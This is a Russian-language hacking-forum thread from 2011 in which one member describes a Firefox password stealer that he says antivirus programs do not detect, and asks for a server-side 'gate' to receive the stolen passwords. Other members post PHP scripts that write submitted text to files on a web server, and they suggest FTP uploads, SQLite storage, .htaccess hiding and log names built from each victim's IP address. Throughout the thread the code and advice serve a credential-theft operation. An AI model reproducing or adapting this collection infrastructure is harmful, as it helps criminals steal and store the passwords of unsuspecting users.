Куда сбрасывать логи программы ?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by kakeolala, 21 May 2011.

  1. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    Собственно вот проблема.
    Написал я стилер паролей браузера Firefox всех версий. Проверил и на 3 и на 4 пашет - ВСЕ ХОРОШО, антивири не палят, ЗАМЕЧАТЕЛЬНО!

    Но стоит добавить в программу функцию отправки письма - как сразу же все антивири орут мол бэкдор или вирус.

    Куда еще можно сбрасывать пассы кроме как мыло ?
    И если у кого есть php скрипт вида:
    http://unnamed/gate.php?text=ТЕКСТ
    киданите сюда пожалуйста код
     
  2. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    дыкнаписать ведь 2 минуты дела

    --------------добавлено-------------------
    PHP:
    <?
      
    $file fopen ("logs.txt","r+");
      
    $text $_GET["text"];
      if (!
    $file )
      {
        echo(
    "error");
      }
      else
      {
        
    fputs $file$text);
        echo(
    "ok");
      }
      
    fclose ($file);
    ?>
     
    #2 patcher, 21 May 2011
    Last edited: 21 May 2011
  3. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    ты письмо отправляеш с файлом или проста текст?
    а скриптов таких в гугле море)
     
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    заливать на ftp не пробовал?
    ftpputfile
     
    #4 DooD, 21 May 2011
    Last edited: 21 May 2011
    1 person likes this.
  5. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    и файлом и текстом. просто вообще нельзя юзать функци отправки на мыло - ибо подозрительно что дергаются пароли и юзается какая то функция отправки письма

    2patcher
    написать и за одну можно - если знаешь как. Просто в php вообще нулевой я =)
    Спасибо!
    Только можешь чуток переделать чтобы было так:
    1) гейту отправляется сам текст, и название создаваемого файла
    2) и проверка - мол если такой фаил создан то ничего не делать, если его нету - создать фаил и сунуть туда текст

    Я предполагаю что будет так:
    Code:
    <?
     $text = $_GET["text"];
     $file = $_GET["file"];
     $file = fopen ($file,"r+");
     fputs ( $file, $text);
     fclose ($file);
    ?>
    
    а разве лучше $_GET юзать вместо $_POST ??? Ведь вроде GET запрос имеет ограничение по длине определенное иль нет ?
     
    #5 kakeolala, 21 May 2011
    Last edited: 21 May 2011
  6. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    PHP:
    <? 
      
    $filename=$_GET["filename"];
      
    $text $_GET["text"]; 
      if (!
    file_exists($filename))
      {
       
    $file fopen ($filename,"r+"); 
      if (!
    $file 
      { 
        echo(
    "error"); 
      } 
      else 
      { 
        
    fputs $file$text); 
        echo(
    "ok"); 
      } 
      
    fclose ($file); 
      }
      else
      {
        echo(
    "already_writed");
      }
    ?>
    Передавать text=текст, filename=имя_файла
     
    #6 patcher, 21 May 2011
    Last edited: 21 May 2011
  7. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    Жертвы моих похождений не поблагодарят тебя :D
    А от меня - спасибо!
     
  8. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    если надо - измени, это ж не проблема) а так просто ГЕТ тестить проще (хотя писал просто в блокноте без проверки на работоспособность)
     
  9. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    чет не пашет(((
    всегда выводит already_writed
     
  10. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    ой, сорри, ошибочку сделал) уже исправил, скопируй из предыдущего поста
     
  11. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    Ништяк - спс.
    И еще я изменил твой параметр r+ на a т.к. параметр r+ открывает уже созданный фаил для чтения и записи, а а/а+ для записи, чтения изаписи и если нету файла то создает его
     
  12. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    На чем писал троя?)
     
  13. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    да эт не трой - это так, побаловался я =)
    Delphi + .pas файлы для работы с SQLite + synapse

    Выдергивает пароли и отправляет на гейт где-то за 0,5 секунду =)
     
  14. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    для тех кто в танке, все запросы к web серверу логируются, так что разница между POST и GET огромная. GET останется в логе.

    kakeolala если тебе повезет и твой трой пападет хотябы на 1000 компов давай подсчитаем, ну например я захожу на почту 5 раз в день. 5*1000 = 5000 паролей в день, а в твоем случае 5000 файлов причем в каждом 5 будет храниться один и тотже пароль... день второй +5000 файлов, а пароли все теже... прошел месяц 150000 файлов с 1000 паролей бред? да бред )

    юзай бд например sqlite (быстрая + файлик никуда не попадет), где проверяй существование подобной записи. закрой к нему доступ из вне прописав правила в .htaccess (если веб сервак apache) и будет тебе недолгое сщастье, пока твой трой не найдут и не откроят в дизасемблере где легко посмотрят адрес твоего сайта и вычислят тебя, как владельца оплачивающего хостинг и доменное имя :)
     
    _________________________
  15. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    Прикольна :) Удачи в розробках :)
     
  16. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    вы не так поняли. Если вы сохранили пароль - он там будет в единственном экземпляре. при чем тут 5*1000 ?
    Ну как бы хостинг бесплатный - доменной имя от хостинка 2-ого уровня. Так что многое не потеряю =)
     
  17. TOP4

    TOP4 Banned

    Joined:
    19 Dec 2010
    Messages:
    23
    Likes Received:
    4
    Reputations:
    1
    ещё можешь в php заюзать функции date() и $_SERVER['REMOTE_ADDR'] и получишь отчёты с именами типа 22-may-2011_10.254.254.255.txt ;)
     
    #17 TOP4, 22 May 2011
    Last edited: 22 May 2011
  18. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Вопрос по существу ты сам написал дергание паролей?
     
    _________________________
  19. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    Ответ по существу: 50/50
    Сначало писал я сам. Потом нашел 4 исходника - от разных версии мазины начиная от 1 и до 4. Потом их обядинил все, потом я оптимизировал все
     
  20. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    :) даш посмотреть ?) или это приват?
     
    #20 ShyRka_coder, 22 May 2011
    Last edited: 22 May 2011